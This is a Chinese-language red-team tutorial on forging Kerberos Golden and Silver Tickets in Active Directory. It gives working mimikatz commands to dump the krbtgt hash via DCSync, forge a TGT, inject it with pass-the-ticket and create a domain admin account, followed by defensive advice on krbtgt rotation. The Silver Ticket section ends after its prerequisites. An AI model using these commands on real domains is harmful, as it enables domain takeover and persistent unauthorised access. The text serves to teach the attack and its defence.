一、Golden Ticket
简介:
Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,其实就可以伪造任意用户的TICKET,
对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket。
原理:
在AS_REQ & AS_REP中,用户使用自身hash加密时间戳发送给KDC,KDC验证成功后返回用krbtgt hash加密的TGT票据。如果我们有krbtgt的hash,就可以自己给自己签发任意用户的tgt票据。
利用前提:
- 拿到域控(没错就是拿到域控QAQ),适合做权限维持
- 有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)
条件要求:
- 域名
- 域的SID 值
- 域的KRBTGT账户NTLM密码哈希
- 伪造用户名
伪造金票
制作金票的条件:
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
实战中,通常使用Mimikatz来提取krbtgt的NTLM-Hash。
1.获取域名称
net view /domain
2.Mimikatz获取krbtgt的HTLM-Hash及域SID
mimikatz "lsadump::dcsync /domain:test666.com /user:krbtgt"
3..Mimikatz生成黄金票据
mimikatz "kerberos::golden /domain:admin.com /sid:S-1-5-21-1497092113-2272191533-193330055 /krbtgt:cac9c793eb3ba2c6abbcc9c14f18a41f /user:test666 /ticket:golden.kirbi"
利用步骤:
1.导出krbtgt的Hash
金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的
登录aaa域管用户,执行whoami可以看到是aaa用户:
使用一下命令导出用户krbtgt的hash:
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt
再执行以下命令可以看到krbtgt用户的SID:
利用mimikatz生成金票生成.kirbi文件并保存:
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
二、金票的使用
登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中。
mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi
此时尝试创建一个abcc的域管账号,命令执行成功:
防御手段:
防御措施如下:
- 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码
- 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证
- 建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法
- 一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力
三、SILVER TICKET
原理
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。 所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等
特点
1.不需要与KDC进行交互 2.需要server的NTLM hash
利用前提:
- 拿到目标机器hash(是目标机,不一定是域控) 相当于server
条件要求:
- 域名
- 域sid
- 目标服务器FQDN
- 可利用的服务
- 服务账号的NTML HASH